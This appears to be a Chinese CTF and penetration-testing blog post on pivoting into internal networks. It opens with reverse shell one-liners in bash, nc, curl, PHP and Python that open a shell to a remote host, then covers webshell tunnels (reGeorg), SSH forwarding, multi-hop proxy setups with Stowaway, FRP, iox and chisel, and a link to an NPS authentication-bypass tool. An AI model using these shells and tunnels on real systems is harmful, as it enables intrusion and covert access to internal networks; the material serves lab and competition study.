本文中使用的代理工具可通过我的脚本一键下载https://github.com/dr0n1/CTF_misc_auto_deploy
反弹shell
推荐在本地部署一个reverse-shell-generator,可以很方便的查看命令
以下是几个常用的
bash -i
1
| /bin/sh -i >& /dev/tcp/1.1.1.1/8888 0>&1
|
nc
1 2 3 4 5 6 7 8
| # nc -e nc 1.1.1.1 8888 -e /bin/sh
# nc -c nc -c /bin/sh 1.1.1.1 8888
# nc mkfifo rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1.1.1.1 8888 >/tmp/f
|
curl
1
| C='curl -Ns telnet://1.1.1.1:8888'; $C </dev/null 2>&1 | /bin/sh 2>&1 | $C >/dev/null
|
php
1 2 3
| php -r '$sock=fsockopen("1.1.1.1",8888);exec("/bin/sh <&3 >&3 2>&3");'
php -r '$sock=fsockopen("1.1.1.1",8888);system("/bin/sh <&3 >&3 2>&3");'
|
python
1 2 3 4 5
| python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.1.1.1",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.1.1.1",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("1.1.1.1",8888));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/sh")'
|
HTTP 隧道
常用的也就是一个Neo-reGorg,其他的Tunna pystinger 等用的就比较少了
reGeorg
https://github.com/sensepost/reGeorg
- 上传 tunnel 文件
- 连接 WEB 服务器,并在本地建立 socks5 代理
1
| python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
|
Neo-reGorg
https://github.com/L-codes/Neo-reGeorg
- 设置密码生成 tunnel.(aspx|ashx|jsp|jspx|php) 并上传到WEB服务器
1
| python neoreg.py generate -k password
|
- 使用 neoreg.py 连接 WEB 服务器,在本地建立 socks5 代理
1
| python3 neoreg.py -k password -p 6666 -u http://xx/tunnel.php
|
SSH隧道
常见参数
1 2 3 4 5 6 7 8
| -C:压缩传输,提高传输速度 -f:表示 SSH 连接成功后,转入后台运行 -N:建立静默连接,表示只连接远程主机,不打开远程 shell -g:允许远程主机连接本地用于转发的端口 -L:本地端口转发 (L 参数一共接受三个值,分别是 本地端口:目标主机:目标主机端口) -R:远程端口转发 (R 参数也是接受三个值,分别是 远程主机端口:目标主机:目标主机端口) -D:动态转发(SOCKS 代理) -P:指定 SSH 端口
|

本地转发
本地转发的意思是将远程主机的某个端口的数据转发到本地服务器的指定端口
这里假设192.168网段是公网,攻击机可以直连
在攻击机上执行
1 2
| ssh -CfNg -L 6677:172.16.10.10:8080 root@192.168.100.167
|
就能将边界服务器上host2的流量转发到本地的6677端口上
访问本地的6677端口就能访问到内网的host2

远程转发
假设上图中的host1完全处于内网或者做了策略,使得攻击机访问不了host1了,但是host1可以访问vps(攻击机),就需要远程转发
在host1上执行
1
| ssh -CfNg -R 6666:172.16.10.11:8090 vps
|
然后访问vps的6666端口就可以访问到host3了
由于对于 host1 来说,vps 是远程主机,所以这种情况就被称为远程端口绑定
这里有一点需要注意,如果使用的是默认配置,可能导致转发后的进程是127.0.0.1
1
| tcp 0 0 127.0.0.1:6666 0.0.0.0:* LISTEN 25278/sshd: root
|
如果需要是0.0.0.0,则需要修改vps上ssh的配置文件
systemctl restart sshd
动态转发
动态端口映射就是建立一个 SSH 加密的 SOCKS 4/5 代理通道
在vps上或者host1本身上执行都行
1
| ssh -CfNg -D 0.0.0.0:4455 root@192.168.100.167
|
然后将执行命令的主机的ip和4455端口做socks5代理
另一种稍微麻烦一点的方式:
先在host1上执行
1
| ssh -qTfnN -D 0.0.0.0:7000 root@localhost
|
然后转发出去即可
1
| ssh -qTfnN -R 0.0.0.0:6699:0.0.0.0:7000 vps
|
将vps的6699端口配为socks5代理ip后就可以访问内网的host2和host3了

传输层隧道
上面的http隧道,ssh隧道,包括不常用的dns隧道,都属于应用层,下面是一些常用的 端口转发 & 内网代理工具
这些综合工具支持多种协议,这里使用其中的socks协议进行内网的代理
后续工具的命令以此图为参照

Stowaway
https://github.com/ph4ntonn/Stowaway
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| admin参数: -l 被动模式下的监听地址[ip]:<port> -s 节点通信加密密钥,所有节点(admin&&agent)必须一致 -c 主动模式下的目标节点地址 --socks5-proxy socks5代理服务器地址 --socks5-proxyu socks5代理服务器用户名(可选) --socks5-proxyp socks5代理服务器密码(可选) --http-proxy http代理服务器地址 --down 下游协议类型,默认为裸TCP流量,可选HTTP/WS --tls-enable 为节点通信启用TLS,在启用TLS后,AES加密将被禁用 --domain 指定TLS SNI/WebSocket域名,若为空,默认为目标节点地址 --heartbeat 开启心跳包
agent参数: -l 被动模式下的监听地址[ip]:<port> -s 节点通信加密密钥 -c 主动模式下的目标节点地址 --socks5-proxy socks5代理服务器地址 --socks5-proxyu socks5代理服务器用户名(可选) --socks5-proxyp socks5代理服务器密码(可选) --http-proxy http代理服务器地址 --reconnect 重连时间间隔 --rehost 端口复用时复用的IP地址 --report 端口复用时复用的端口号 --up 上游协议类型,默认为裸TCP流量,可选HTTP/WS --down 下游协议类型,默认为裸TCP流量,可选HTTP/WS --cs 运行平台的shell编码类型,默认为utf-8,可选gbk --tls-enable 为节点通信启用TLS,在启用TLS后,AES加密将被禁用 --domain 指定TLS SNI/WebSocket域名,若为空,默认为目标节点地址
|
单层代理
边界服务器(host1)运行:
1
| ./linux_x64_admin -l 7000 -s 123
|
客户端(host2)运行:
1
| ./linux_x64_agent -c host1_ip:7000 -s 123 --reconnect 8
|
连接成功后在服务器端的交互窗口建立代理

使用host1:6666作为socks代理后就可以进行后续其他操作了

多层代理
边界服务器(host1)运行:
1
| ./linux_x64_admin -l 7000 -s 123
|
外层主机(host2)运行:
1
| ./linux_x64_agent -c host1_ip:7000 -s 123 --reconnect 8
|
建立连接后在控制端运行:
相当于在host2上监听2233端口

然后用内层主机(host4)连接外层主机(host2)的2233端口
1
| ./linux_x64_agent -c host2:2233 -s 123 --reconnect 8
|
控制端等待节点加入后建立socks代理,注意需要选择新节点


FRP
https://github.com/fatedier/frp
将 frpc 复制到内网服务所在的机器上。
将 frps 复制到拥有公网 IP 地址的机器上,并将它们放在任意目录。
编写配置文件,目前支持的文件格式包括 TOML/YAML/JSON,旧的 INI 格式仍然支持,但已经不再推荐。
使用以下命令启动服务器:./frps -c ./frps.toml
使用以下命令启动客户端:./frpc -c ./frpc.toml
单层代理
服务端(host1)监听端口然后启动
客户端(host2)配置
1 2 3 4 5 6 7 8 9
| serverAddr = "host1_ip" serverPort = 7000
[[proxies]] name = "socks5" type = "tcp" plugin.type = "socks5" remotePort = 6666
|
用proxifier或proxychains指定host1_ip和6666端口即可
还可以选择使用web控制面板或者添加token
多层代理
服务端(host1)配置
外层主机(host2)同时当(host1的)客户端和(host4的)服务端
1 2 3 4 5 6 7 8 9 10 11 12 13
|
serverAddr = "host1_ip" serverPort = 7000
[[proxies]] name = "portforward" type = "tcp" localIP = "127.0.0.1" localPort = 6666 remotePort = 6666
|
内层主机(host4)配置文件
1 2 3 4 5 6 7 8 9
| serverAddr = "host2_ip" serverPort = 7001
[[proxies]] name = "socks5" type = "tcp" plugin.type = "socks5" remotePort = 6666
|

iox
iox 是一个端口转发 & 内网代理工具,功能类似于lcx/ew
https://github.com/EddieIvan01/iox
端口转发
1 2 3 4 5 6 7 8
| ./iox fwd -l 8888 -l 9999
./iox fwd -l 8888 -r 1.1.1.1:9999
./iox fwd -r 1.1.1.1:8888 -r 1.1.1.1:9999
|
单层正向代理
直接在边界服务器(host1)上启动Socks5服务就好了
二层正向代理
外层主机(host2)启动socks服务
边界服务器(host1)监听端口并转发流量
1
| ./iox fwd -l 6666 -r host2:5555
|
多层正向代理
内层主机(host4)启动socks服务
外层主机(host2)监听端口并转发流量
1
| ./iox fwd -l 5555 -r host4:4444
|
边界服务器(host1)监听端口并转发流量
1
| ./iox fwd -l 6666 -r host2:5555
|

一层反向代理
linux攻击机上监听端口并转发
1
| ./iox proxy -l 7000 -l 6666
|
边界主机(host1)将流量转发到攻击机
1
| ./iox proxy -r server:7000
|
二层反向代理
linux攻击机上监听端口并转发
1
| ./iox proxy -l 7000 -l 6666
|
边界主机(host1)监听并将流量转发到攻击机
1
| ./iox fwd -l 7001 -r server:7000
|
外层主机(host2)开启socks代理并转发到host1
1
| ./iox proxy -r host1:7001
|
多层反向代理
linux攻击机上监听端口并转发
1
| ./iox proxy -l 7000 -l 6666
|
边界主机(host1)监听并将流量转发到攻击机
1
| ./iox fwd -l 7001 -r server:7000
|
外层主机(host2)监听并将流量转发到host1
1
| ./iox fwd -l 7002 -r host1:7001
|
内层主机(host4)开启socks代理并转发到host2
1
| ./iox proxy -r host2:7002
|

chisel
https://github.com/jpillora/chisel
单层代理
在服务端(host1)运行,表示开启7000端口来监听进行反向代理
1
| ./chisel server -p 7000 --reverse
|
客户端(host2)运行,表示连接到服务端(host1)的7000端口,把host1:6666作为socks5代理
1
| ./chisel client host1:7000 R:0.0.0.0:6666:socks
|

多层代理
还是先在服务端(host1)运行,表示开启7000端口来监听
1
| ./chisel server -p 7000 --reverse
|
外层主机(host2)即当客户端也当服务端
client的命令表示连接到服务端(host1)的7000端口,并将host4转来的5555的流量再次转到服务端(host1)上的6666端口
server的命令表示开启7001端口监听
1 2
| ./chisel client host1:7000 R:0.0.0.0:6666:127.0.0.1:5555 ./chisel server -p 7001 --reverse
|
内层主机(host4)运行,连到host2:7001,并将流量转发到host2的5555端口
1
| ./chisel client host2:7001 R:0.0.0.0:5555:socks
|
搭建完毕后可以看到host1控制台有一条这样的信息:server: session#1: tun: proxy#R:6666=>5555: Listening
host2的控制台有一条:server: session#1: tun: proxy#R:5555=>socks: Listening
使用host1:6666端口作为socks代理即可
NPS
nps貌似已经不更新了,存在不少bug,非比赛环境需要谨慎使用,社区中有许多二开版本,可以自行查看
官方版本存在越权漏洞。漏洞原理是利用伪造两个参数auth_key、timestamp来完成越权操作的,修复方式是注释掉auth_crypt_key,并修改auth_key的值为随机值,auth_key记得去掉注释
https://github.com/weishen250/npscrack
服务端安装后使用 nps start 启动
然后访问8080端口 账户密码默认为 admin/123
选择新建一个客户端

然后把客户端文件传递到外层主机上后执行提供的命令

然后新增socks代理即可

linux下全局代理
在windows下可以用proxifier轻松实现进程级的全局代理
但是在linux下会有很多命令或者软件的流量不走proxychains的情况出现
这里可以用clash解决
首先在service mode点击安装,旁边的地球变绿就ok了

然后在profiles的地方编辑配置文件

选中自己配置的选项后就能实现全局代理了,注意用tun mode

包括ping命令等都可以走代理了

参考文章:
Frp内网多层隧道搭建
内网隧道穿透
内网代理搭建
内网渗透测试 <3> 隧道技术
【Tips+1】IOX 多层网络正向穿透
【Tips+1】IOX 反向穿透四层网段